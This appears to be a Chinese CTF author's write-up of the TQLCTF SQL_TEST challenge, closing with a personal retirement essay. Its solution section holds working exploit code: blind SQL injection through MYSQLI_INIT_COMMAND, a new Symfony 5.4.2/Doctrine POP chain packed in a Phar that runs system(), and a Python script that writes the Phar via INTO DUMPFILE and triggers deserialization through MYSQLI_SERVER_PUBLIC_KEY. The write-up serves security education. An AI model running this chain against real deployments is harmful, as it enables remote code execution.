原文始发于 gml-sec:TQLCTF-SQL_TEST出题笔记
本次TQLCTF算是Redbud第一次参与全国赛的命题和组织(也大概率是我最后一次参与,文末有退役老选手的小作文hhh),所以想给大家出一道有趣新颖的题目。一直没什么idea,所以想着找个框架挖一挖链子算了,但是可能比较俗,所以结合了mysql写文件,并加了一个独特的phar反序列化触发点。
题目环境:https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST
出题思路
选框架挖链子花了挺长时间,一些常见框架比如laravel、thinkphp等被挖烂了,最后发现Symfony5新版本似乎没啥链子,但是本人没有挖掘出最新版本RCE的链子,选了5.4.2版本挖了条链子。(测试中发现直接拿phpggc中Monolog的链子就能打,就把Monolog的依赖给删了)
众所周知mysql读写文件只能secure_file_path目录下进行,那如果这个目录不是常见路径就意味着无法写文件了么?显然不是,如果我们有注入之类的可以通过注入获取到这个目录,这道题目就是加了这个考点。
关于phar反序列化的触发点,参考了zsx这篇https://blog.zsxsoft.com/post/38,去翻了下php关于mysql相关源码,在ext/mysqlnd/mysqlnd_auth.c
下有关caching_sha2_password认证的操作里找到了对php_stream_open_wrapper
的调用。
将以上这三点结合起来,最终出了这道题,以下是完整题解。
题解
题目给了源码,是基于Symfony框架开发,版本是5.4.2。审计源码发现只有一个TestController:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\HttpFoundation\Request; class TestController extends AbstractController { /** * @Route("/test", name="test") */ public function index(Request $request): Response { $con = mysqli_init(); $key = $request->query->get('key'); $value = $request->query->get('value'); if (is_numeric($key) && is_string($value)) { mysqli_options($con, $key, $value); } mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0); if (!mysqli_real_connect($con, "127.0.0.1", "ctf", "gmlsec123456", "mysql")) { $content = '数据库连接失败'; } else { $content = '数据库连接成功'; } mysqli_close($con); return new Response( $content, Response::HTTP_OK, ['content-type' => 'text/html'] ); } } |
可以控制一个mysqli_options 的选项,然后连接本地数据库。
执行任意SQL语句
查阅mysqli_options 函数的相关文档:
很明显发现可以设置建立 MySQL 连接之后要执行的 SQL 语句。
php 7的环境下打印下MYSQLI_INIT_COMMAND
的值:
1 2 3 4 5 6 |
~ php -a Interactive shell php > echo MYSQLI_INIT_COMMAND; 3 php > |
尝试 /index.php/test?key=3&value=select%20sleep(3)
,延时成功。因为没有回显,可以采用时间盲注的方式获取数据。(经测试,select if(1,(select exp(1000)),0)
这种通过是否报错进行布尔盲注的方式不可以)
显然flag肯定不在数据库里(可以通过时间盲注获取数据也会发现没有任何新创建的数据库和表)。现在我们可以执行一条mysql的命令,尝试堆叠发现无果,create database、insert、update数据失败,load_file读取/etc/passwd也是失败。这时猜想是否题目设置了 secure_file_priv
, 尝试获取secure_file_priv
目录。
平时我们经常使用的方式是 show global variables like '%secure_file_priv%'
,现在没有回显,我们需要时间盲注的方式获取。我们还可以通过select @@global.secure_file_priv
进行获取并进行盲注:
可以通过时间盲注得到目录:/tmp/53ca05a8a6854dc2cdceeeaf52671f27
(这个目录在实际比赛中是动态的)
这个目录明显是故意设置,所以肯定这里是利用点。我们不知道这个目录下有什么文件,但是我们可以向这个目录任意写文件。Symfony 5.4.2 的版本并没有什么漏洞,所以通过文件包含getshell不太可能,我们可以自然想到可以通过写入phar文件,触发反序列化getshell。
要通过phar触发反序列化进行getshell,要有POP链和触发点。首先关注POP链,phpggc上最新的链子是 5.2 版本的,经过分析无法成功利用。将源码与 Symfony 5.4.2 的源码对比,发现去除了 Monolog 的依赖,Monolog的链子也利用不了,需要挖掘一条新的POP链。
挖掘POP链
寻找__destruct方法,因为有一些类都存在 __wakeup方法,所以剩下的也不多。剩下的类 __destruct方法调用也很乱,所以尝试搜索 __call 方法,看看有什么可以利用的。在vendor/symfony/cache/Traits/RedisProxy.php 定义的RedisProxy
类存在__call方法:
1 2 3 4 5 6 |
public function __call(string $method, array $args) { $this->ready ?: $this->ready = $this->initializer->__invoke($this->redis); return $this->redis->{$method}(...$args); } |
我们可以调用任意类的 __invoke 方法,并且参数可控。寻找可利用的 __invoke,在vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php定义的SchemaAssetsFilterManager
类:
1 2 3 4 5 6 7 8 9 10 11 |
/** @param string|AbstractAsset $assetName */ public function __invoke($assetName): bool { foreach ($this->schemaAssetFilters as $schemaAssetFilter) { if ($schemaAssetFilter($assetName) === false) { return false; } } return true; } |
可以发现明显的动态函数调用,并且函数名和参数都可控。与之类似的vendor/symfony/console/Helper/Dumper.php 定义的Dumper
类,这个更直接一些:
1 2 3 4 |
public function __invoke($var): string { return ($this->handler)($var); } |
所以现在我们只需在 __destruct 中找到任意一个可控变量对任意函数的调用即可,类似$xxxx->xxxx()
,这应该不难寻找,在vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php中定义的CacheAdapter
类:
1 2 3 4 |
public function __destruct() { $this->commit(); } |
跟进:
至此,getshell 的POP链已经完成。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
//namespace Doctrine\Bundle\DoctrineBundle\Dbal { // class SchemaAssetsFilterManager // { // private $schemaAssetFilters; // // public function __construct() // { // $this->schemaAssetFilters = array('system'); // } // } //} namespace Symfony\Component\Console\Helper { class Dumper { private $handler; public function __construct() { $this->handler = 'system'; } } } namespace Symfony\Component\Cache\Traits { class RedisProxy { private $redis; private $initializer; private $ready = false; public function __construct() { $this->redis = 'id'; $this->initializer = new \Symfony\Component\Console\Helper\Dumper(); // $this->initializer = new \Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager(); } } } namespace Doctrine\Common\Cache\Psr6 { class CacheAdapter { private $deferredItems; public function __construct() { $this->deferredItems = array(new \Symfony\Component\Cache\Traits\RedisProxy()); } } } namespace { $a = new Doctrine\Common\Cache\Psr6\CacheAdapter(); $phar = new Phar('test.phar'); $phar->stopBuffering(); $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); $phar->addFromString('test.txt', 'test'); $phar->setMetadata($a); $phar->stopBuffering(); } |
本地测试该POP链可用。
寻找触发点
现在只剩触发点,我们可控的就只有一对key和value,查看其他可以设置的选项,发现MYSQLI_SERVER_PUBLIC_KEY
这个选项涉及文件操作,这个选项指定SHA-256 认证模式下,要使用的 RSA 公钥文件。
mysql8.0 之前的版本中默认的身份验证方式是mysql_native_password, 而在mysql8.0之后变为了caching_sha2_password
。相信很多人在用php连接mysql8的时候都会出现错误情况,去搜基本都是由于默认的身份验证方式改变了。caching_sha2_password实现了SHA-256 认证,并且在服务器端使用缓存以获得更好的性能。官方文档:https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html
查阅文档可以发现,客户端有两种方式指定服务端的公钥:一种是从服务端请求公钥,然后服务端将公钥发松给客户端;另外一种是客户端本地指定服务端公钥的路径:
上面提到的MYSQLI_SERVER_PUBLIC_KEY
选项便是指定服务端公钥的路径。
那么既然这里存在读取文件的可能,是否可以触发phar反序列化呢?查阅PHP源码,在ext/mysqlnd/mysqlnd_auth.c 中可以找到mysqlnd_caching_sha2_get_key
函数的实现:
可以看到,调用了php_stream_open_wrapper,因此可以来触发phar反序列化。
现在过程很明确:可以生成phar文件,通过mysql写入目录,再通过MYSQLI_SERVER_PUBLIC_KEY
触发反序列化执行命令。
但是经过尝试发现最终触发失败,回显依然是数据库连接成功。这是因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。
查阅资料发现缓存存储在内存中:https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-stored, FLUSH PRIVILEGES
即可。这里0ops战队的解法也比较巧妙,通过修改用户密码,导致连接失败,同样会触发加载公钥的操作。
最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
import requests, string, random, os, time url = "http://127.0.0.1:7001" def req(key, value): resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value}) return resp def get_secure_file_priv(): char_list = "_/" + string.ascii_letters + string.digits template = "select if((select substr(@@global.secure_file_priv,%s,1)='%s'),sleep(2),1)" data = '' for i in range(1, 100): flag = False for c in char_list: resp = req('3', template % (i, c)) if resp.elapsed.seconds > 1.5: data += c flag = True print(data) break if not flag: print("end!") return data def exp(secure_file_path): filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar' file = os.path.join(secure_file_path, filename) # write phar file hex_data = open("test.phar", "rb").read().hex() command = "select 0x{} into dumpfile '{}'".format(hex_data, file) req('3', command) # check file exists command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file) if req('3', command).elapsed.seconds > 1.5: print("file write fail!") exit() # clean the cache req('3',"FLUSH PRIVILEGES") time.sleep(2) # trigger unserialize resp = req('35', 'phar://' + file) print(resp.text) if __name__ == '__main__': secure_file_path = get_secure_file_priv() # secure_file_path = '/tmp/1ba652f29a29b74c5c7abb1abf6ba36e/' exp(secure_file_path) |
写在最后
题目出完后预估难度中上,但没想到把大家都卡住了… 可能这个题很难一眼看出整个解题的思路,所以放了hint避免选手走歪了。出题不易,耗费了将近一周的时间,只希望大家玩的开心。
这次比赛后自己也算是正式退役了hhh,以后基本也不会再打比赛了(跟着TD摸鱼DEFCON真香)。回想自己这将近三年半的CTF经历,真是感慨万千。
直至现在,最开始每次比赛自己准时打开电脑兴致冲冲打开题目,然后毫无思路最后关闭电脑的画面依然历历在目。当时的NEX断层非常严重,学长忙毕业、找工作、考研等等,作为新人的我们几乎是全靠自己摸索前进。
后来大二下暑假参加XMan夏令营,才算是真正入门CTF,认识了小西、博栋、iromise等等厉害的师傅们,也认识了一群热爱CTF、热爱安全的小伙伴,还有欣蕾、扣肉这些带给我很大帮助的朋友们,这是我在XMan夏令营最大的收获。到后面与cxc,t1an5t这些NEX的小伙伴一起参加大大小小的比赛,才逐渐成长起来。
再到后来,自己保研进THU加入Redbud,进来后发现学长基本都退了。在种种外界因素影响下,战队同样面临巨大的断层问题,战队甚至无法保证每个方向有1-2个活跃人员。所幸我们通过招新成功招来思齐(@mcfx)和脑王(@nano)这样的神仙选手,加上xuanxuan、hustcw等小伙伴,几个人艰难支撑着Redbud。我们在212奋战的时候最常感慨的就是,别的战队人怎么这么多,怎么这么厉害hhh。惊奇的是,在大部分高校战队被卷死,联队为王的环境下,我们还取得了不错的成绩(当然大部分功劳可能还是mcfx和nano),但Web方向依然很挣扎,很多时候基本是我一人自闭。
对于CTF,吸引我的除了金钱、四处旅游等物质奖励,更多的是逼迫自己快速学习以及解出一道题时的快感。在我开始打CTF的时候,CTF是迅速入门安全的较好方式,但现在CTF尤其国内越来越卷,已经几乎成了劝退安全最好的方式了。加之现在CTF圈各方面鱼龙混杂,对于新人来说入门CTF就好像踏入了商场一样。之前陆队@Zeddy发过一个讨论CTF价值观的话题,我个人的感受是CTFer应该享受CTF,享受比赛的乐趣,攻防的快感,解题的成就感等等,不要把CTF当成安全的全部,也不要为了CTF而CTF,那样自己会越来越累,并且毫无收获。
到如今,一方面自己老了熬不动夜了,比赛也逐渐跟不上节奏了;一方面自己毕业压力也很大(论文太难了要毕不了业了orz),再坚持下去,自己可能也变成“为了CTF而CTF”了。今后自己需要专注于毕业,找工作这些事情了。最后希望更多的人能享受CTF,也希望Redbud能够传承下去屹立不倒hhh。